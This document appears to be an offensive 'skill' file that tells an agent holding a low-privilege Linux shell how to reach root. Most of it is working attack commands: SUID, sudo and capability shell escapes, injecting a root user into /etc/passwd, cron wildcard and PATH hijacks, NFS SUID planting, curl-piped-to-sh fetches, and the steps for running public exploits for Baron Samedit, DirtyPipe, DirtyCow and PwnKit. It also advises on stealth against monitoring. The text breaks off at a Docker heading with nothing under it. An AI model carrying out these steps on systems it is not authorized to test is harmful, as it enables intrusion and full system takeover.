offensive-linux-privesc skill

Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

Quick Workflow

1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
5. Check for NFS shares with norootsquash and Docker group membership.
6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
7. Validate the escalation path, document the chain, and clean up artifacts.

Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.

SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

Enumeration

# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Exploitation via GTFOBins

# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh

Custom SUID Binary Analysis

# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.

Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

# Find binaries with capabilities set
getcap -r / 2>/dev/null

Exploitation

# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.

Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.

# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null

NOPASSWD Exploitation

# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash

# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'

# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;

# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below

# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh

# If sudo allows running as another user
sudo -u targetuser /bin/bash

Baron Samedit -- CVE-2021-3156

# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable

# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>

# Check target OS for correct offset
cat /etc/os-release

This heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.

Cron Job Abuse

Cron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.

Enumeration

# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Use pspy to discover hidden cron jobs
./pspy64 -pf -i 1000

# Check for writable scripts called by cron
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do
    ls -la "$f" 2>/dev/null
done

Writable Cron Script

# If a root cron job calls a writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh

# Wait for cron execution, then
/tmp/rootbash -p

PATH Hijacking in Cron

# If crontab has PATH=/home/user/bin:/usr/local/sbin:...
# And a cron job calls "backup.sh" without full path
echo '#!/bin/bash' > /home/user/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh
chmod +x /home/user/bin/backup.sh

Wildcard Injection

# If a root cron job runs: tar czf /backup/archive.tar.gz *
# In the target directory, create files that become tar flags
cd /target/directory
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
chmod +x privesc.sh

# Similar attack with rsync wildcard
echo '' > '-e sh privesc.sh'

# Similar attack with chown (e.g., chown user:user *)
echo '' > '--reference=/path/to/attacker_owned_file'

Writable /etc/passwd

If /etc/passwd is world-writable (a severe misconfiguration), you can add a root-equivalent user directly.

# Check permissions
ls -la /etc/passwd

# Generate password hash
openssl passwd -1 -salt hacker password123
# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/

# Append a new root user
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's password hash (more detectable)
# Switch to the new user
su hacker
# Password: password123

# Alternative: use mkpasswd if available
mkpasswd -m sha-512 password123

NFS norootsquash Exploitation

When an NFS export is configured with norootsquash, the remote root user retains root privileges on the share. This allows creating SUID binaries from an attacker-controlled machine.

# On the target -- enumerate NFS shares
cat /etc/exports
showmount -e localhost

# Look for no_root_squash
grep -i "no_root_squash" /etc/exports

# On your attack machine (as root)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/shared_directory /tmp/nfs_mount

# Create a SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash

# On the target
/shared_directory/rootbash -p

Kernel Exploits

Kernel exploits are high-impact but carry stability risks. Use them when cleaner vectors are unavailable. Always check the kernel version and distribution first.

Fingerprinting

uname -a
uname -r
cat /etc/os-release
cat /proc/version

DirtyPipe -- CVE-2022-0847

# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102
# Overwrites read-only files by splicing into page cache

# Compile the exploit
gcc -o dirtypipe exploit.c
./dirtypipe /etc/passwd 1 "${replacement_line}"

# Or use the SUID variant
gcc -o dirtypipez dirtypipez.c
./dirtypipez
# Spawns a root shell by overwriting a SUID binary temporarily

DirtyCow -- CVE-2016-5195

# Affects Linux kernel 2.x through 4.x before 4.8.3
# Race condition in copy-on-write mechanism

# The /etc/passwd overwrite variant
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Overwrites root entry in /etc/passwd

# The SUID binary variant (firefart)
gcc -pthread cowroot.c -o cowroot
./cowroot

PwnKit -- CVE-2021-4034

# Affects polkit pkexec (virtually all Linux distros with polkit installed)
# Memory corruption via crafted environment variables

# Compile and run
gcc -shared -fPIC -o pwnkit.so pwnkit.c
gcc -o pwnkit exploit.c
./pwnkit

# One-liner PoC (if available)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

Kernel exploits may crash the system. On production targets, confirm the exact kernel version, test in a lab environment first, and have a rollback plan. Prefer the DirtyPipe SUID variant or PwnKit for stability.

Docker Group Escape